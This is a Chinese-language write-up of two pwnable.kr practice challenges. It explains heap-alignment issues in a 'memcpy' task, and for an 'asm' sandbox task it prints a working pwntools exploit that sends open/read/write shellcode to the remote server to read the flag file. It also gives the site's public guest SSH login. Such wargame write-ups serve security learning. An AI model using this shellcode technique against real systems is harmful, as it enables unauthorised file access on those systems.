萌新帶你開車上p站(完結篇)


附上鍊接:

萌新帶你開車上p站(一):https://www.toutiao.com/i6800255609745703427/

萌新帶你開車上p站(二):https://www.toutiao.com/i6800564683771216387/

萌新帶你開車上p站(三):https://www.toutiao.com/i6801013595317469703/

萌新帶你開車上p站(Ⅳ):https://www.toutiao.com/i6812873408901022219/


0x16memcpy

源碼在http://pwnable.kr/bin/memcpy.c

直接編譯可能會報錯,根據報錯提示是因為缺少相應的頭文件

因為編譯選項-m32:編譯出來的是32位程序,既可以在32位操作系統運行,又可以在64位操作系統運行。這就需要multilib,它可以支持在64位機器上生成32位和64位的文件。

如圖所示解決即可:apt-get install gcc-multilib

萌新帶你開車上p站(完結篇)

接下來就可以了

萌新帶你開車上p站(完結篇)

測試運行

萌新帶你開車上p站(完結篇)

沒有拿到flag


關鍵點:

萌新帶你開車上p站(完結篇)


程序打印10輪在2的各次冪,要求用戶依次輸入10個滿足該區間的數,然後根據用戶的輸入malloc()在堆上進行分配。然後分別通過slow_memcpy,fats_memcpy進行src到dst的拷貝操作。比較花費的時間。

萌新帶你開車上p站(完結篇)


由上圖可知,slow_memcpy是單個單個字節複製,而fast_copy在複製的字節數小於64時用slow的,大於64時,通過內聯匯彙編,使用sse2的指令集movdqa,movntps藉助寄存器複製

萌新帶你開車上p站(完結篇)

萌新帶你開車上p站(完結篇)


可知,操作數應按16字節對齊

所以出錯的原因就是在這兒

傳給fast_memcpy的dst是malloc返回的

而我們知道,malloc在分配時會多分配4字節用於存儲堆的其他信息,而且會進行8字節的自動補齊,最後返回開啟的起始地址

換句話說,只要malloc每次請求大小為16字節對齊的空間就滿足條件了

設傳給malloc的為a,則滿足(a+4)%16>9或者(a+4)%16=0即可

這裡給出一組符合條件的值

8 26 38 69 136 264 520 1032 2056 4104


0x17asm

源碼比較長,可以ssh [email protected] -p2222 (pw: guest)登錄後自行查看

這裡給出關鍵點:

做了一個沙箱的環境

萌新帶你開車上p站(完結篇)


只給我們留下了open,read,werite,exit等方法

一段stub

萌新帶你開車上p站(完結篇)


轉成彙編

萌新帶你開車上p站(完結篇)

可以看到作用是清空各個寄存器

萌新帶你開車上p站(完結篇)

sh由mmap分配,然後插入stub,再讀我們的shellcode,設置沙箱

沙箱規則已經解釋過了,可想可知,我們的shellcode該做的就是open打開flag,read讀取,然後使用write將flag寫到標準輸出上

pwntools的shellcraft可用於生成shellcode

這三個函數在pwntools的原型

萌新帶你開車上p站(完結篇)

萌新帶你開車上p站(完結篇)

萌新帶你開車上p站(完結篇)

在調用open函數後文件描述符fd在rax中,rsp為棧指針寄存器,指向buf

fd=1代表標準輸出,所以得到下面的exp

<code>from pwn import *

context.arch = "amd64"
context.os = "linux"

p = remote("pwnable.kr", 9026)
shellcode = ""
filename = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
shellcode += shellcraft.open(filename)
shellcode += shellcraft.read('rax', 'rsp', 100)

shellcode += shellcraft.write(1, 'rsp', 100)

p.recvuntil("shellcode: ")
p.send(asm(shellcode))
print p.recv()/<code>

運行後拿到flag

萌新帶你開車上p站(完結篇)

聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!


分享到:


相關文章: